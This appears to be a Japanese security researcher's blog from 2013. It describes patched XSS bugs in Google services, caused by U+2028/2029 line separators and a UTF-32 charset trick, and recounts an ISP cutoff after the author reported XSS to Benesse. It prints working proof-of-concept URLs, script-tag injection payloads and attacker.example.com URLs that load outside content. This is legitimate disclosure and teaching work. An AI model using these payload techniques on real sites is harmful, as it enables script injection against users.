2013/09/17

U+2028/2029とDOM based XSS

ECMAScriptの仕様では、0x0A/0x0D以外にU+2028/2029の文字も改行とすることが明記されています。
これはあまり知られていないように思います。 以下はアラートを出します。
 
<script>
//[U+2028]alert(1)
</script>

知られていないだけでなく、知っていたとしても、スクリプトで文字列を処理するときに、U+2028/2029まで考慮する開発者がどれだけいるのかという話です。
実際、U+2028/2029を放り込むと文字列リテラル内にその文字が生のまま配置され、エラーが出るページは本当にたくさんあります。まあ、エラーがでるだけなら、大抵の場合大きな問題にはなりません。

ところが、U+2028/2029によってXSSが引き起こされてしまう場合というのを最近実際に見ました。
Googleのサービスで見つけた2つのケースを取り上げたいと思います。

ケース1. ChromeとIEで脆弱だった例

 以下はGoogle(tools.google.com)に存在した脆弱なコードです。URLは例です。


https://tools.google.com/foo/bar/install.html
var url = String(window.location);
var match = url.match(/(.*)www\.google\.com(.*\/install.html)/);
if (match) {
window.location = match[1]+"tools.google.com"+match[2];
}


正規表現でURLを取得し、リダイレクトをしようとしています。
コードを書いた人が期待するのは、おそらく、アクセスされたホストが  www.google.com だった場合に、ホスト tools.google.com の同じURLにリダイレクトさせるものだと思います。

この正規表現では残念ながら期待しないURLへのリダイレクトを許可してしまいます。
次のようなURLを与えられると、予想外のウェブページへのリダイレクトどころか、XSSが起きます。

https://tools.google.com/foo/bar/install.html#[U+2028]javascript:alert(1)//www.google.com/install.html

JavaScriptの正規表現の . (ドット) は改行以外のすべての文字にマッチします。この「改行」に当てはまるのは、0x0Dや0x0Aだけではないというのがポイントです。
URLに0x0D、0x0Aを直に含めることはできません。 ところが、U+2028/2029は、ChromeやIEの#以降において、エンコードせずに含めることができてしまうのです。
 これらの文字ははじめに書いたように、仕様上改行の扱いなので、 . (ドット) にマッチしません。ですので、上記URLの場合、後続の条件を含めた、改行を含まない0文字以上の繰り返し 「.*」 にマッチするのは「javascript:alert(1)//」ということになり、見事にjavascript: なURLを引っ張り出すことができてしまうという訳です。

以下でこのコードを確かめることができます。
http://vulnerabledoma.in/domxss_u2028u2029.html

以下でChromeやIE9以上でアクセスすると再現を確認できます。
PoC

ちなみに、IEの場合、IE9以降のドキュメントモードでないと .(ドット) がU+2028/2029にマッチしてしまう挙動があるようなので、動きません。

ケース2. IEだけが脆弱だった例

こんなコードのあるページがありました。

https://www.google.com/intl/en/nexus/features.html
 var a = window.location.toString();
return a.indexOf("intl") > -1 ? a.match("/(.*)/nexus/")[0] :
"/nexus/"

この処理でもらってきたURLにフラグメント以降の文字列を足してXMLHttpRequestを飛ばし、responseTextをページ中に書き出すだか、そんな処理をしていたと思います。

パス先頭の「/intl/en/」はGoogleのサービスのいろいろな箇所で使えるURLで、「en」だったら英語、「ja」だったら日本語で表示してくれたりと、その言語での表示の切りかえができるものです。

intlという文字列がURLに存在した場合の分岐後の処理にでてくる、「/(.*)/nexus/」の .* がここでも問題になります。「/nexus/」という文字列がでてくる前に スラッシュと 0文字以上の改行以外の繰り返し が存在することがマッチの条件です。この正規表現で期待されるURLは、最初のスラッシュは プロトコルとホストの区切りの「//」の先頭で、そこからパスの/nexus/がでてくるまでの文字列を拾ってくるというものだと思います。

さあ、これを騙すことができるでしょうか。

一番初めの報告では、僕が以前発見したAndroid 4.1未満のlocation.hrefのバグ( CVE-2012-3695 )を利用した場合にXSSが起きるだろうというものでした。
https://attacker%2Eexample%2Ecom%2Fnexus%2F@www.google.com/intl/en/nexus/features.html#/help
詳細は以前記事に書いた通り、認証情報を記述できるホストの前の@以前の文字列が、location.href中で勝手にデコードされて取得されるという問題です。
デコードされてしまうと、最終的にさっきの正規表現では、
//attacker.example.com/nexus/help

みたいなかんじの外部リソースが取得されてしまいます。こうなると、外部サイトで、Access-Control-Allow-Originを設定しておくことで、www.google.com上にresponseTextを通じて、スクリプトを含んだ文書を紛れ込ますことができてしまいます。

自分の過去の報告から考えても、GoogleはAndroidに残ったバグに起因するXSS対応には乗り気ではないかんじだったので、今回もこれじゃあ弱いなーと思いつつ一応の報告に至ったのですが、やはり反応はよくありませんでした。

その後、他のブラウザでもなんとかならないかとあれこれ考えていると、/intl/en/の「en」の部分にはほとんど自由に文字を入れられることに気が付きました。指定が変な場合は英語の文書が表示されるようです。

実は、IEは#以降以外にも、パス、クエリ部分も、エンコードしないで U+2028/2029 を含めることができてしまいます。

ならば、以下のようにすれば、一番はじめにでてくるスラッシュからnexusまでのマッチを回避できます。
https://www.google.com/intl/en[U+2028]/nexus/features.html?[U+2028]//attacker.example.com/nexus/#/help

少々ややこしいですが、正規表現のまどろっこしい文章説明をこれ以上繰り返すのはメンドイので、これで何がマッチされるか、よく見てみてください。
こうして、IEで動作することを証明できました。


はい、U+2028/2029で生じるDOM based XSSというのを紹介しました。

このXSSのわかりにくいところは、

・そもそもU+2028/2029が改行であることを知らない/忘れやすい
・URLに改行にあたる文字が入ることを意識しづらい

ことにあると思います。
まあ、改行がどうこうというより、Googleの例でも、かなりおおざっぱな正規表現のために失敗しているので、日ごろから厳密な正規表現を書くことを心がけていれば、混入する可能性はだいぶ少なくなると思います。

ちなみに、この2件の報告はGoogleの報酬制度の金額の増額が発表されたあとのものなので、前者は$3,133.7、後者は$5,000を頂いています。 金額の違いは存在したドメインの重要度の違いによるものです。

まとめ

U+2028/2029はJavaScript中で改行と同じ意味を持つ。
IEはURL中のパス・クエリ・フラグメントで、U+2028/2029をエンコードせずに含められる。
Chromeはフラグメント中でU+2028/2029をエンコードせずに含められる。
正規表現は可能な限り厳密に書こう。

2013/09/11

たぶんXSSが理由でインターネットがとまった

昔自分が利用者だったサイトのセキュリティ問題(XSS)をいくつか報告していたのですが、おそらくそのリクエストを理由にインターネットが使えなくなりました。プロバイダに接続を止められたのです。

そのサイトで問題をみつけたとき、サービス提供者側の反応を示す兆候がありました。
問題を発見後、しばらくしてアクセスしようとすると、アクセスを拒否されたからです。

サービス提供者には問題を報告し、アクセス拒否についても、一応、今報告してる通りこれは攻撃ではないので誤解なきようよろしくとメール連絡したところ、問題は修正されました。
これで真意は伝わり、アクセスと関連付けられ、アクセス拒否に対する誤解も解決しただろうと思ったのですが、その後急にインターネットが使えない事態にまでなるとはだれが予想できたでしょうか…。(今は携帯の回線を使っています)

プロバイダから書面が届き、書面には問題の報告時とほぼ同じ日付に苦情があったことが記されていました。
プロバイダには、攻撃をしたとみなされ、再開するにはこういった行為をしないという誓約書を書かなければいけないそうです。

不本意なので、サービス提供者とプロバイダに事情を説明しましたが、サービス提供者は「セキュリティ上の理由でこたえられないが、一般論として不正なアクセスがあれば報告する」の一辺倒で、例外的なハンドリングをするつもりはなく、思考停止しているかんじでした。なぜ僕の報告と、僕のアクセスと、プロバイダへの連絡の事実を調査し結びつけることができないのか、意味が分かりません。それが攻撃によるものではなかったと、あなた方がプロバイダに連絡してもらえば、誓約書なんて書かなくてもきっと済むはずなのに。

そもそもXSSは、サーバーを直接攻撃するような性質のものではないため、発見する人間をアクセス拒否したところで根本原因を修正しなければ全く解決になりません。僕のブラウザでアラートがでなくなるだけです。
セキュリティ問題の報告はこれまでたくさんしていますが、このような事態になったのは初めてであり、アラートを出せる状態を確認するアクセスが、プロバイダに連絡するほどの不正なアクセスであるという、この会社の言う一般論は存在しないと思います。

こういった誤解が生じることはありうると思いながら日々報告していましたが、もし誤解が生じても、人間なので、説明すれば理解してもらえると思っていました。
ところが、報告して、事情まで説明しているにもかかわらず、会話ができない会社がある現実は、残念であるとしか言いようがありません。そのようなセキュリティで何が守れると言うのでしょうか。

こうした行為さえ規制されて、善意の報告者を委縮させ、セキュリティ問題が放置され続ける状態になっても誰も得しないと思います。
 かつて利用者であった僕の情報を何らかの形でまだ持っているのなら、セキュリティ問題でせめてそれを漏らさないでくれと祈るばかりです。ベネッセさん。

とりあえずはやくまともにインターネットがしたいです。

2013/9/12 10:44 追記

まだなんとも言えませんが、事態がいい方向に向かう可能性がでてきました。
ある方の協力により、ベネッセさんが対応を検討してくれています。

2013/9/12 22:00 追記

ベネッセさんに話が伝わり、ご理解をいただけました。ベネッセさんが照会をしてくださり、僕のアクセスであることが確認できたため、プロバイダへ「不正アクセス情報の取り下げ」および「停止解除のお願い」の連絡をしてくださったとのことです。その際、ベネッセの方と僕の仲介として、徳丸 浩さんに手助けをしていただきました。徳丸さんのサポートがなければこのように正しく事情を説明することは難しかったと思います。徳丸さんには本当に感謝しています。今後、接続に関してどうなるかはわかりませんが、事情を伝えることができたことは大きな喜びです。

2013/9/13 17:48 追記
プロバイダに確認の電話を入れたところ、取り下げに関する連絡がきていることが確認できたので、1時間をめどに再開させるという連絡を頂き、その後、17:00ごろインターネット接続が復活しました。ベネッセさんからも、検査に関して条件付きで前向きなお話をもらっており、今後はその指示に従って気が向いたときに調査・ご報告をさせていただくつもりです。とりあえず、ここまででおよそ達成したいことはできており、ほっとしています。多くの方のご協力がありここまでこれました。今後は、サービス側にもあらゆる事情があることを鑑みて、今以上に慎重に行動すると思います。
 関係者の方々、見守っていただいた方々、このたびは大変お騒がせしました。

2013/06/18

accounts.google.comに存在したXSS

Googleの脆弱性報酬制度の報酬がアップされましたね!

Google、脆弱性情報に支払う報奨金を大幅アップ - ITmedia エンタープライズ
http://www.itmedia.co.jp/enterprise/articles/1306/10/news027.html
Googleアカウントページに存在するクロスサイトスクリプティング(XSS)の脆弱性情報については3133.7ドルから7500ドル

 accounts.google.comのXSSは$7,500 だそうです。みつけたいですね!

みつけるのはかなり厳しいと思いますが、かつて2つみつけたことがあります。
今日はそのうち1つを紹介したいと思います。

oeパラメータを使ったXSS

2012年12月27日に報告し修正された問題です。
Googleは、一部のサービスで「oe」というクエリパラメータを付加することで、ページの表示に使用するエンコーディングを指定できます。

もちろん、oeには、任意のエンコーディングが指定できるわけではありません。もし自由にエンコーディング名を指定できてしまったら、そのエンコーディングをサポートしていないブラウザでは、ページを正しく表示できなくなったりするからです。
 
エンコーディングはXSSを引き起こすポイントとして注目すべきところです。ただ、明示的にエンコーディングを指定できる場所で、よりによってGoogleにスキがあるとは思えません。ところが、調べてみるとそうではありませんでした。

Googleの「oe」パラメータは、oeを指定しても認識されないページがあったり、認識できる文字列が異なると感じるページがいくらかありました。差を調べていったところ、多くの文字列をエンコーディング名として認識するページでは、完全に自由ではないものの、明らかに必要以上のエンコーディングを指定できてしまうことがわかりました。それがよりによって、accounts.google.com のページだったのです。

結論から言うと、以下のようにすると、IEでXSSすることができていました。
 https://accounts.google.com/NewAccount?oe=utf-32&Email=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert%281%29%E3%B0%80/script%E3%B8%80


oeにUTF-32を指定しています。これでレスポンスヘッダのContent-Typeのcharsetには、UTF-32が設定できていました。なぜこれでXSSができたのでしょうか。

UTF-32は1文字を4バイトで表します。例えば「<」は [0x00][0x00][0x00][0x3C]、「あ」(U+3042)は[0x00][0x00][0x30][0x42]で表されます。
例を見た方が簡単だと思うので、UTF-32のエンコーディングを設定したページを用意しました:

http://l0.cm/utf-32.html


正しくUTF-32で表示できた場合には、 「UTF-32!」とアラートダイアログが出た後、ページ中に「あ」が表示されるはずです。
UTF-32をサポートするブラウザはChromeとSafariです。( http://l0.cm/encodings/table/ を参照 ) ですので、ChromeとSafariではこれを正しく表示することができると思います。

ところがUTF-32を認識できない、FirefoxやIEだとどうでしょうか。
Firefoxでは、間のヌル文字が邪魔してHTMLのソースが露出する形で表示されます。
IEはアラートダイアログがでます。 これはUTF-32をサポートしているからではなく、IEではヌル文字[0x00]はHTML中で無視されるという挙動があるためです。代わりに、全角の「あ」(UTF-32で [0x00][0x00][0x30][0x42] )の部分はうまく表示できておらず、「0B」(ASCIIで [0x30][0x42]) と表示されているのがわかると思います。

今のIEの挙動を踏まえて、今度は、UTF-32で「∀」(U+2200)という文字をHTML中に配置することを考えてください。
UTF-32では[0x00][0x00][0x22][0x00] で表されます。じゃあもしこのバイト値を配置したページをIEで表示したら、どうなるでしょうか。はい、無視されるヌル文字を除いて「"」(0x22)だけが現れることになります。

今回のXSSの原理はこういうことです。GoogleはUTF-32としては有効でXSSのないHTMLを出力していましたが、[0x22]( " )や[0x3C]( < )や[0x3E]( > )などのバイト値が含まれる、UTF-32のときにはエスケープする必要がない文字を使うことで、UTF-32をサポートせずヌル文字を無視するIEでは、ほとんど本来のHTMLページを表示しつつ、ページの構造を破壊することができました。

さきほどのURLのEmailパラメータをUTF-8でパーセントデコードすると、次のような文字列が現れます。

∀㸀㰀script㸀alert(1)㰀/script㸀


これらに含まれる文字はUTF-32で以下のように表されます。

∀ U+2200 [0x00][0x00][0x22][0x00]
㸀 U+3E00 [0x00][0x00][0x3E][0x00]
㰀 U+3C00 [0x00][0x00][0x3C][0x00]

メールアドレスの入力欄に配置されるこれらが最終的に挿入される形は、ヌル文字を無視して、

"><script>alert(1)</script>

となり、IEでは以下の画像のように、我々が大好きなアラートダイアログが表示されるという訳です。






その後さらに調べると、oeにはUTF-32以外にも、ブラウザがサポートしていない、ASCIIと互換性のないエンコーディングを指定することができており、IE以外のすべてのブラウザでXSSを起こすことが可能でした。


はい、こんなのでした。
この問題をみつけた時点では、制度の上ではaccounts.google.comのXSSは$3,133.7が設定されていましたが、今回の問題は、複数のページにわたって影響し、Coolなバグだとして、特別に$5,000をもらいました。

個人的にもUTF-32を使った実際の問題というのはこれが初めてで面白かったです。
ブラウザがサポートするエンコーディングなど、エンコーディングについていろいろ調べていなければ思い付かなかったと思います。役に立たなそうなことを地道に調べ続けてよかったです。